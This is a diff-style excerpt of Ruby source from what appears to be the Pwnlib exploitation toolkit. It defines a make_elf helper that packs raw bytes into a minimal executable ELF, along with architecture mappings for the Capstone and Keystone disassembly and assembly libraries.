# # f77c7000-f77c9000 r--p 00000000 00:00 0 [vvar]
|
180
|
+
# # f77c9000-f77cb000 r-xp 00000000 00:00 0 [vdso]
|
181
|
+
# # ffda6000-ffdc8000 rwxp 00000000 00:00 0 [stack]
|
182
|
+
# end
|
183
|
+
def make_elf(data, vma: nil, to_file: false)
|
184
|
+
to_file ||= block_given?
|
185
|
+
vma ||= DEFAULT_VMA[context.arch.to_sym]
|
186
|
+
vma &= -0x1000
|
187
|
+
# ELF header
|
188
|
+
# Program headers
|
189
|
+
# <data>
|
190
|
+
headers = create_elf_headers(vma)
|
191
|
+
ehdr = headers[:elf_header]
|
192
|
+
phdr = headers[:program_header]
|
193
|
+
entry = ehdr.num_bytes + phdr.num_bytes
|
194
|
+
ehdr.e_entry = entry + phdr.p_vaddr
|
195
|
+
ehdr.e_phoff = ehdr.num_bytes
|
196
|
+
phdr.p_filesz = phdr.p_memsz = entry + data.size
|
197
|
+
elf = ehdr.to_binary_s + phdr.to_binary_s + data
|
198
|
+
return elf unless to_file
|
199
|
+
|
200
|
+
path = Dir::Tmpname.create(['pwn', '.elf']) do |temp|
|
201
|
+
File.open(temp, 'wb', 0o750) { |f| f.write(elf) }
|
202
|
+
end
|
203
|
+
block_given? ? yield(path).tap { File.unlink(path) } : path
|
204
|
+
end
|
205
|
+
|
206
|
+
::Pwnlib::Util::Ruby.private_class_method_block do
|
207
|
+
def cs_arch
|
208
|
+
case context.arch
|
209
|
+
when 'aarch64' then Crabstone::ARCH_ARM64
|
210
|
+
when 'amd64', 'i386' then Crabstone::ARCH_X86
|
211
|
+
when 'arm', 'thumb' then Crabstone::ARCH_ARM
|
212
|
+
when 'mips', 'mips64' then Crabstone::ARCH_MIPS
|
213
|
+
when 'powerpc64' then Crabstone::ARCH_PPC
|
214
|
+
when 'sparc', 'sparc64' then Crabstone::ARCH_SPARC
|
215
|
+
else unsupported!("Disasm on architecture #{context.arch.inspect} is not supported yet.")
|
216
|
+
end
|
217
|
+
end
|
218
|
+
|
219
|
+
def cs_mode
|
220
|
+
case context.arch
|
221
|
+
when 'aarch64' then Crabstone::MODE_ARM
|
222
|
+
when 'amd64' then Crabstone::MODE_64
|
223
|
+
when 'arm' then Crabstone::MODE_ARM
|
224
|
+
when 'i386' then Crabstone::MODE_32
|
225
|
+
when 'mips' then Crabstone::MODE_MIPS32
|
226
|
+
when 'mips64' then Crabstone::MODE_MIPS64
|
227
|
+
when 'powerpc64' then Crabstone::MODE_64
|
228
|
+
when 'sparc' then 0 # default mode
|
229
|
+
when 'sparc64' then Crabstone::MODE_V9
|
230
|
+
when 'thumb' then Crabstone::MODE_THUMB
|
231
|
+
end | (context.endian == 'big' ? Crabstone::MODE_BIG_ENDIAN : Crabstone::MODE_LITTLE_ENDIAN)
|
232
|
+
end
|
233
|
+
|
234
|
+
def ks_arch
|
235
|
+
case context.arch
|
236
|
+
when 'aarch64' then KeystoneEngine::KS_ARCH_ARM64
|
237
|
+
when 'amd64', 'i386' then KeystoneEngine::KS_ARCH_X86
|
238
|
+
when 'arm', 'thumb' then KeystoneEngine::KS_ARCH_ARM
|
239
|
+
when 'mips', 'mips64' then KeystoneEngine::KS_ARCH_MIPS
|
240
|
+
when 'powerpc', 'powerpc64' then KeystoneEngine::KS_ARCH_PPC
|
241
|
+
when 'sparc', 'sparc64' then KeystoneEngine::KS_ARCH_SPARC
|
242
|
+
else unsupported!("Asm on architecture #{context.arch.inspect} is not supported yet.")
|
243
|
+
end
|
244
|
+
end
|
245
|
+
|
246
|
+
def ks_mode
|
247
|
+
case context.arch
|
248
|
+
when 'aarch64' then 0 # default mode
|
249
|
+
when 'amd64' then KeystoneEngine::KS_MODE_64
|
250
|
+
when 'arm' then KeystoneEngine::KS_MODE_ARM
|
251
|
+
when 'i386' then KeystoneEngine::KS_MODE_32
|
252
|
+
when 'mips' then KeystoneEngine::KS_MODE_MIPS32
|
253
|
+
when 'mips64' then KeystoneEngine::KS_MODE_MIPS64
|
254
|
+
when 'powerpc' then KeystoneEngine::KS_MODE_PPC32
|
255
|
+
when 'powerpc64' then KeystoneEngine::KS_MODE_PPC64
|
256
|
+
when 'sparc' then KeystoneEngine::KS_MODE_SPARC32
|
257
|
+
when 'sparc64' then KeystoneEngine::KS_MODE_SPARC64
|
258
|
+
when 'thumb' then KeystoneEngine::KS_MODE_THUMB
|
259
|
+
end | (context.endian == 'big' ? KeystoneEngine::KS_MODE_BIG_ENDIAN : KeystoneEngine::KS_MODE_LITTLE_ENDIAN)
|
260
|
+
end
|
261
|
+
|
262
|
+
# FFI is used in keystone and capstone binding gems, this method handles when libraries not installed yet.
|
263
|
+
def require_message(lib, msg)
|
264
|
+
require lib
|
265
|
+
rescue LoadError => e
|
266
|
+
raise ::Pwnlib::Errors::DependencyError, "#{e.message}\n\n#{msg}"
|
267
|
+
end
|
268
|
+
|
269
|
+
def install_crabstone_guide
|
270
|
+
<<-EOS
|
271
|
+
#disasm depends on capstone, which is detected not installed yet.
|
272
|
+
Checkout the following link for installation guide:
|
273
|
+
|
274
|
+
http://www.capstone-engine.org/documentation.html
|
275
|
+
|
276
|
+
EOS
|
277
|
+
end
|
278
|
+
|
279
|
+
def install_keystone_guide
|
280
|
+
<<-EOS
|
281
|
+
#asm depends on keystone, which is detected not installed yet.
|
282
|
+
Checkout the following link for installation guide:
|
283
|
+
|
284
|
+
https://github.com/keystone-engine/keystone/tree/master/docs
|
285
|
+
|
286
|
+
EOS
|
287
|
+
end
|
288
|
+
|
289
|
+
# build headers according to context.arch/bits/endian
|
290
|
+
def create_elf_headers(vma)
|
291
|
+
elf_header = create_elf_header
|
292
|
+
# we only need one LOAD segment
|
293
|
+
program_header = create_program_header(vma)
|
294
|
+
elf_header.e_phentsize = program_header.num_bytes
|
295
|
+
elf_header.e_phnum = 1
|
296
|
+
{
|
297
|
+
elf_header: elf_header,
|
298
|
+
program_header: program_header
|
299
|
+
}
|
300
|
+
end
|
301
|
+
|
302
|
+
def create_elf_header
|
303
|
+
header = ::ELFTools::Structs::ELF_Ehdr.new(endian: endian)
|
304
|
+
# this decide size of entries
|
305
|
+
header.elf_class = context.bits
|
306
|
+
header.e_ident.magic = ::ELFTools::Constants::ELFMAG
|
307
|
+
header.e_ident.ei_class = { 32 => 1, 64 => 2 }[context.bits]
|
308
|
+
header.e_ident.ei_data = { little: 1, big: 2 }[endian]
|
309
|
+
# Not sure what version field means, seems it can be any value.
|
310
|
+
header.e_ident.ei_version = 1
|
311
|
+
header.e_ident.ei_padding = "\x00" * 7
|
312
|
+
header.e_type = ::ELFTools::Constants::ET::ET_EXEC
|
313
|
+
header.e_machine = e_machine
|
314
|
+
# XXX(david942j): is header.e_flags important?
|
315
|
+
header.e_ehsize = header.num_bytes
|
316
|
+
header
|
317
|
+
end
|
318
|
+
|
319
|
+
def create_program_header(vma)
|
320
|
+
header = ::ELFTools::Structs::ELF_Phdr[context.bits].new(endian: endian)
|
321
|
+
header.p_type = ::ELFTools::Constants::PT::PT_LOAD
|
322
|
+
header.p_offset = 0
|
323
|
+
header.p_vaddr = vma
|
324
|
+
header.p_paddr = vma
|
325
|
+
header.p_flags = 4 | 2 | 1 # rwx
|
326
|
+
header.p_align = arch_align
|
327
|
+
header
|
328
|
+
end
|
329
|
+
|
330
|
+
# Not sure how this field is used, remove this if it is not important.
|
331
|
+
# This table is collected by cross-compiling and see the align in LOAD segment.
|
332
|
+
def arch_align
|
333
|
+
case context.arch.to_sym
|
334
|
+
when :i386, :amd64 then 0x1000
|
335
|
+
when :arm then 0x8000
|
336
|
+
end
|
337
|
+
end
|
338
|
+
|
339
|
+
def e_machine
|
340
|
+
const = ARCH_EM[context.arch.to_sym]
|
341
|
+
unsupported!("Unknown machine type of architecture #{context.arch.inspect}.") if const.nil?
|
342
|
+
|
343
|
+
::ELFTools::Constants::EM.const_get("EM_#{const}")
|
344
|
+
end
|
345
|
+
|
346
|
+
def endian
|
347
|
+
context.endian.to_sym
|
348
|
+
end
|
349
|
+
|
350
|
+
def unsupported!(msg)
|
351
|
+
raise ::Pwnlib::Errors::UnsupportedArchError, msg
|
352
|
+
end
|
353
|
+
|
354
|
+
include ::Pwnlib::Context
|
355
|
+
end
|
356
|
+
end
|
357
|
+
end
|